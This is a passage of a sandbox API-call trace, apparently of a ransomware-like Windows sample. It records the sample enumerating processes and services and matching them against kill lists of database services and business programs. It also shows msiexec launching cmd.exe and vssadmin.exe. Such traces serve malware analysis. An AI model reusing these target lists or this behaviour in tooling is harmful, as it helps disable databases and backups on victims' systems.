[0119.671] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0119.671] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0119.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0119.671] lstrlenW (lpString="wuauserv") returned 8 [0119.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0119.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0119.671] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0119.671] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0119.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0119.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0119.673] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.674] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.675] lstrlenW (lpString="System") returned 6 [0119.675] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0119.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0119.675] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0119.675] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0119.675] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.676] lstrlenW (lpString="smss.exe") returned 8 [0119.676] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.677] lstrlenW (lpString="csrss.exe") returned 9 [0119.677] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.678] lstrlenW (lpString="wininit.exe") returned 11 [0119.678] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.679] lstrlenW (lpString="csrss.exe") returned 9 [0119.679] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.680] lstrlenW (lpString="winlogon.exe") returned 12 [0119.680] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.681] lstrlenW (lpString="services.exe") returned 12 [0119.681] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.682] lstrlenW (lpString="lsass.exe") returned 9 [0119.682] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.682] lstrlenW (lpString="lsm.exe") returned 7 [0119.682] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.683] lstrlenW (lpString="svchost.exe") returned 11 [0119.683] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.684] lstrlenW (lpString="svchost.exe") returned 11 [0119.684] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.685] lstrlenW (lpString="svchost.exe") returned 11 [0119.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.686] lstrlenW (lpString="svchost.exe") returned 11 [0119.686] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.687] lstrlenW (lpString="svchost.exe") returned 11 [0119.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.687] lstrlenW (lpString="audiodg.exe") returned 11 [0119.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.689] lstrlenW (lpString="svchost.exe") returned 11 [0119.689] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.690] lstrlenW (lpString="svchost.exe") returned 11 [0119.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.690] lstrlenW (lpString="dwm.exe") returned 7 [0119.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.691] lstrlenW (lpString="explorer.exe") returned 12 [0119.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.692] lstrlenW (lpString="spoolsv.exe") returned 11 [0119.692] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.693] lstrlenW (lpString="taskhost.exe") returned 12 [0119.693] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.694] lstrlenW (lpString="svchost.exe") returned 11 [0119.694] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.695] lstrlenW (lpString="taskeng.exe") returned 11 [0119.695] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.695] lstrlenW (lpString="taskhost.exe") returned 12 [0119.695] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0119.696] lstrlenW (lpString="fixwaves.exe") returned 12 [0119.696] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0119.697] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0119.697] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0119.698] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0119.698] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0119.699] lstrlenW (lpString="monsaver.exe") returned 12 [0119.699] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0119.700] lstrlenW (lpString="dosesugar.exe") returned 13 [0119.700] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0119.700] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0119.700] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0119.701] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0119.701] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0119.702] lstrlenW (lpString="nonprofit top.exe") returned 17 [0119.702] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0119.703] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0119.703] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0119.704] lstrlenW (lpString="accused.exe") returned 11 [0119.704] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0119.705] lstrlenW (lpString="governance.exe") returned 14 [0119.705] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0119.706] lstrlenW (lpString="old.exe") returned 7 [0119.706] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0119.706] lstrlenW (lpString="xi cg.exe") returned 9 [0119.706] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0119.707] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0119.707] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0119.708] lstrlenW (lpString="burlington.exe") returned 14 [0119.708] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0119.709] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0119.709] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0119.709] lstrlenW (lpString="buildings.exe") returned 13 [0119.710] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0119.710] lstrlenW (lpString="predictions_took.exe") returned 20 [0119.710] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0119.711] lstrlenW (lpString="carry_dns.exe") returned 13 [0119.711] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0119.712] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0119.712] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.713] lstrlenW (lpString="svchost.exe") returned 11 [0119.713] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.714] lstrlenW (lpString="sppsvc.exe") returned 10 [0119.714] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.715] lstrlenW (lpString="svchost.exe") returned 11 [0119.715] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.716] lstrlenW (lpString="msiexec.exe") returned 11 [0119.716] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.717] lstrlenW (lpString="cmd.exe") returned 7 [0119.717] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.717] lstrlenW (lpString="conhost.exe") returned 11 [0119.717] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0119.718] lstrlenW (lpString="vssadmin.exe") returned 12 [0119.718] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0119.719] lstrlenW (lpString="VSSVC.exe") returned 9 [0119.719] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0119.720] CloseHandle (hObject=0x1c4) returned 1 [0119.721] Sleep (dwMilliseconds=0x1f4) [0120.450] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e940 [0120.450] EnumServicesStatusExW (in: hSCManager=0x52e940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0120.450] GetLastError () returned 0xea [0120.450] EnumServicesStatusExW (in: hSCManager=0x52e940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x30e1290, cbBufSize=0x13fc, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x30e1290, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0120.451] CloseServiceHandle (hSCObject=0x52e940) returned 1 [0120.451] lstrlenW (lpString="Appinfo") returned 7 [0120.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0120.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0120.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0120.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0120.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0120.451] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0120.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0120.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0120.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0120.451] lstrlenW (lpString="AudioSrv") returned 8 [0120.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0120.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0120.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0120.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0120.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0120.451] lstrlenW (lpString="BFE") returned 3 [0120.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0120.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0120.451] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0120.451] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0120.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0120.452] lstrlenW (lpString="CryptSvc") returned 8 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0120.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0120.452] lstrlenW (lpString="CscService") returned 10 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0120.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0120.452] lstrlenW (lpString="DcomLaunch") returned 10 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0120.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0120.452] lstrlenW (lpString="Dhcp") returned 4 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0120.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0120.452] lstrlenW (lpString="Dnscache") returned 8 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0120.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0120.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0120.452] lstrlenW (lpString="DPS") returned 3 [0120.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0120.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0120.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0120.452] 